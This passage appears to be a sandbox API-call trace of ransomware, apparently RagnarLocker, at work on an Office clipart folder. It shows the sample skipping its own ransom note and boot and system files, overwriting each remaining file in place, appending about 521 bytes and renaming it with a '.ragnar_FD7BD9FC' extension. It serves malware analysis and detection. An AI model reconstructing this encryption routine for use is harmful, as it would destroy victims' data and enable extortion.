dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0079.625] lstrcmpiW (lpString1="DD01180_.WMF", lpString2=".") returned 1 [0079.625] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="..") returned 1 [0079.626] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0079.626] lstrcmpiW (lpString1="DD01181_.WMF", lpString2=".") returned 1 [0079.626] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="..") returned 1 [0079.626] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0079.626] lstrcmpiW (lpString1="DD01182_.WMF", lpString2=".") returned 1 [0079.626] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="..") returned 1 [0079.626] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0079.626] lstrcmpiW (lpString1="DD01183_.WMF", lpString2=".") returned 1 [0079.626] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="..") returned 1 [0079.626] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0079.626] lstrcmpiW (lpString1="DD01186_.WMF", lpString2=".") returned 1 [0079.626] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="..") returned 1 [0079.626] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0079.626] lstrcmpiW (lpString1="DD01366_.WMF", lpString2=".") returned 1 [0079.626] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="..") returned 1 [0079.626] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0079.626] lstrcmpiW (lpString1="DD01434_.WMF", lpString2=".") returned 1 [0079.626] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="..") returned 1 [0079.626] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0079.626] lstrcmpiW (lpString1="DD01585_.WMF", lpString2=".") returned 1 [0079.626] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="..") returned 1 [0079.626] lstrcmpiW (lpString1="DD01586_.WMF", lpString2=".") returned 1 [0079.626] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="..") returned 1 [0079.660] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00004_.GIF" | out: lpString1="AG00004_.GIF") returned="AG00004_.GIF" [0079.660] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned=".GIF" [0079.660] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.660] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="autorun.inf") returned -1 [0079.660] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="boot.ini") returned -1 [0079.660] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="bootfont.bin") returned -1 [0079.660] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="bootsect.bak") returned -1 [0079.660] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="bootmgr") returned -1 [0079.660] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="bootmgr.efi") returned -1 [0079.660] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.660] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="desktop.ini") returned -1 [0079.660] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="iconcache.db") returned -1 [0079.660] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="ntldr") returned -1 [0079.660] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="ntuser.dat") returned -1 [0079.660] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.660] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="ntuser.ini") returned -1 [0079.660] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="thumbs.db") returned -1 [0079.660] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.660] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.660] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.660] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.660] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.660] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.660] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0079.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.661] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9024) returned 1 [0079.661] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2337, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.661] GetProcessHeap () returned 0x580000 [0079.661] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.661] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.663] VirtualAlloc (lpAddress=0x0, dwSize=0x2340, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.663] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.663] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.663] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2340, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2340, lpOverlapped=0x0) returned 1 [0079.664] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.664] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2340, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.664] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2340, lpOverlapped=0x0) returned 1 [0079.664] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2340, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.665] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.665] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2340, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.665] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.665] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.665] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.665] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.665] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.665] GetProcessHeap () returned 0x580000 [0079.665] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.665] CloseHandle (hObject=0xf4) returned 1 [0079.665] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" [0079.665] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.ragnar_FD7BD9FC" [0079.665] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0079.666] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.666] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00011_.GIF" | out: lpString1="AG00011_.GIF") returned="AG00011_.GIF" [0079.666] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned=".GIF" [0079.666] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.666] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="autorun.inf") returned -1 [0079.666] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="boot.ini") returned -1 [0079.666] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="bootfont.bin") returned -1 [0079.666] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="bootsect.bak") returned -1 [0079.666] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="bootmgr") returned -1 [0079.666] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="bootmgr.efi") returned -1 [0079.666] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.666] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="desktop.ini") returned -1 [0079.666] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="iconcache.db") returned -1 [0079.666] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="ntldr") returned -1 [0079.666] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="ntuser.dat") returned -1 [0079.666] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.666] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="ntuser.ini") returned -1 [0079.667] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="thumbs.db") returned -1 [0079.667] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.667] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.667] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.667] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.667] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.667] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.667] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0079.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.667] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7216) returned 1 [0079.667] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c27, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.667] GetProcessHeap () returned 0x580000 [0079.667] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.667] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.669] VirtualAlloc (lpAddress=0x0, dwSize=0x1c30, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.669] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c30, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1c30, lpOverlapped=0x0) returned 1 [0079.670] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.670] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c30, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.670] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c30, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1c30, lpOverlapped=0x0) returned 1 [0079.670] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c30, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.670] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.670] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.670] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.670] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.671] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.671] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.671] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.671] GetProcessHeap () returned 0x580000 [0079.671] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.671] CloseHandle (hObject=0xf4) returned 1 [0079.671] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" [0079.671] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.ragnar_FD7BD9FC" [0079.671] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.671] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0079.671] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.671] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00021_.GIF" | out: lpString1="AG00021_.GIF") returned="AG00021_.GIF" [0079.671] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned=".GIF" [0079.672] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.672] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="autorun.inf") returned -1 [0079.672] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="boot.ini") returned -1 [0079.672] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="bootfont.bin") returned -1 [0079.672] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="bootsect.bak") returned -1 [0079.672] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="bootmgr") returned -1 [0079.672] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="bootmgr.efi") returned -1 [0079.672] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.672] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="desktop.ini") returned -1 [0079.672] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="iconcache.db") returned -1 [0079.672] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="ntldr") returned -1 [0079.672] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="ntuser.dat") returned -1 [0079.672] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.672] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="ntuser.ini") returned -1 [0079.672] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="thumbs.db") returned -1 [0079.672] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.672] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.672] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.672] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.672] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.672] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.672] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0079.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.673] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14873) returned 1 [0079.673] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3a10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.673] GetProcessHeap () returned 0x580000 [0079.673] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.673] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.675] VirtualAlloc (lpAddress=0x0, dwSize=0x3a19, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.675] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.675] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.675] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3a19, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3a19, lpOverlapped=0x0) returned 1 [0079.676] SetFilePointerEx 